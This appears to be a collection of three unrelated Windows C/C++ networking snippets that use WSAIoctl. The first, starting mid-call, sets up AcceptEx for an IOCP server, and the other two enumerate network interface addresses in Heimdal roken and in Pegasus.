SIO_GET_EXTENSION_FUNCTION_POINTER, &GuidGetAcceptExSockAddrs, sizeof(GuidGetAcceptExSockAddrs), &m_lpfnGetAcceptExSockAddrs, sizeof(m_lpfnGetAcceptExSockAddrs), &dwBytes, NULL, NULL)) { //this->_ShowMessage("WSAIoctl 未能获取GuidGetAcceptExSockAddrs函数指针。错误代码: %d\n", WSAGetLastError()); this->_DeInitialize(); return false; } // 为AcceptEx 准备参数,然后投递AcceptEx I/O请求 for( int i=0;i<MAX_POST_ACCEPT;i++ ) { // 新建一个IO_CONTEXT PER_IO_CONTEXT* pAcceptIoContext = m_pListenContext->GetNewIoContext(); if( false==this->_PostAccept( pAcceptIoContext ) ) { m_pListenContext->RemoveContext(pAcceptIoContext); return false; } } //this->_ShowMessage( _T("投递 %d 个AcceptEx请求完毕"),MAX_POST_ACCEPT ); return true; }
int ROKEN_LIB_FUNCTION rk_getifaddrs(struct ifaddrs **ifpp) { SOCKET s = INVALID_SOCKET; size_t il_len = 8192; int ret = -1; INTERFACE_INFO *il = NULL; *ifpp = NULL; s = socket(AF_INET, SOCK_DGRAM, 0); if (s == INVALID_SOCKET) return -1; for (;;) { DWORD cbret = 0; il = malloc(il_len); if (!il) break; ZeroMemory(il, il_len); if (WSAIoctl(s, SIO_GET_INTERFACE_LIST, NULL, 0, (LPVOID) il, (DWORD) il_len, &cbret, NULL, NULL) == 0) { il_len = cbret; break; } free (il); il = NULL; if (WSAGetLastError() == WSAEFAULT && cbret > il_len) { il_len = cbret; } else { break; } } if (!il) goto _exit; /* il is an array of INTERFACE_INFO structures. il_len has the actual size of the buffer. The number of elements is il_len/sizeof(INTERFACE_INFO) */ { size_t n = il_len / sizeof(INTERFACE_INFO); size_t i; for (i = 0; i < n; i++ ) { struct ifaddrs *ifp; ifp = malloc(sizeof(*ifp)); if (ifp == NULL) break; ZeroMemory(ifp, sizeof(*ifp)); ifp->ifa_next = NULL; ifp->ifa_name = NULL; ifp->ifa_flags = il[i].iiFlags; ifp->ifa_addr = dupaddr(&il[i].iiAddress); ifp->ifa_netmask = dupaddr(&il[i].iiNetmask); ifp->ifa_broadaddr = dupaddr(&il[i].iiBroadcastAddress); ifp->ifa_data = NULL; *ifpp = ifp; ifpp = &ifp->ifa_next; } if (i == n) ret = 0; } _exit: if (s != INVALID_SOCKET) closesocket(s); if (il) free (il); return ret; }
void _getInterfaceAddrs(Array<String> &ips, int af) { SOCKET sock; if (INVALID_SOCKET != (sock = WSASocket(af, SOCK_RAW, 0, NULL, 0, 0))) { DWORD bytesReturned; char buf[2048]; int interfaces = 0; char str[PEGASUS_INET6_ADDRSTR_LEN]; void *p = 0; if (0 == WSAIoctl(sock, SIO_ADDRESS_LIST_QUERY, NULL, 0, buf, 2048, &bytesReturned, NULL, NULL)) { SOCKET_ADDRESS_LIST *addr_list; SOCKET_ADDRESS *addr; struct sockaddr *sin; addr_list = (SOCKET_ADDRESS_LIST *)buf; addr = addr_list->Address; int rc = 0; for (sin = (struct sockaddr *) addr->lpSockaddr ; interfaces < addr_list->iAddressCount; interfaces++) { if (af == AF_INET) { p = &((struct sockaddr_in*)sin)->sin_addr; } #ifdef PEGASUS_ENABLE_IPV6 else { p = &((struct sockaddr_in6*)sin)->sin6_addr; } #endif // Don't gather loopback addrs if (!System::isLoopBack(af, p)) { if (af == AF_INET) { if ((rc = ::getnameinfo( sin, sizeof(struct sockaddr_in), str, sizeof(str), NULL, 0, NI_NUMERICHOST)) == 0) { ips.append(str); } //Error detected in getting name info, //display the error string else { PEG_TRACE((TRC_OS_ABSTRACTION, Tracer::LEVEL1, "getnameinfo failed: %s", gai_strerror(rc))); } } #ifdef PEGASUS_ENABLE_IPV6 else if (af == AF_INET6) { if((rc = System::getNameInfo( sin, sizeof(struct sockaddr_in6), str, sizeof(str), NULL, 0, NI_NUMERICHOST)) == 0) { ips.append(str); } } #endif } ++addr; sin = (struct sockaddr*)addr->lpSockaddr; } } } }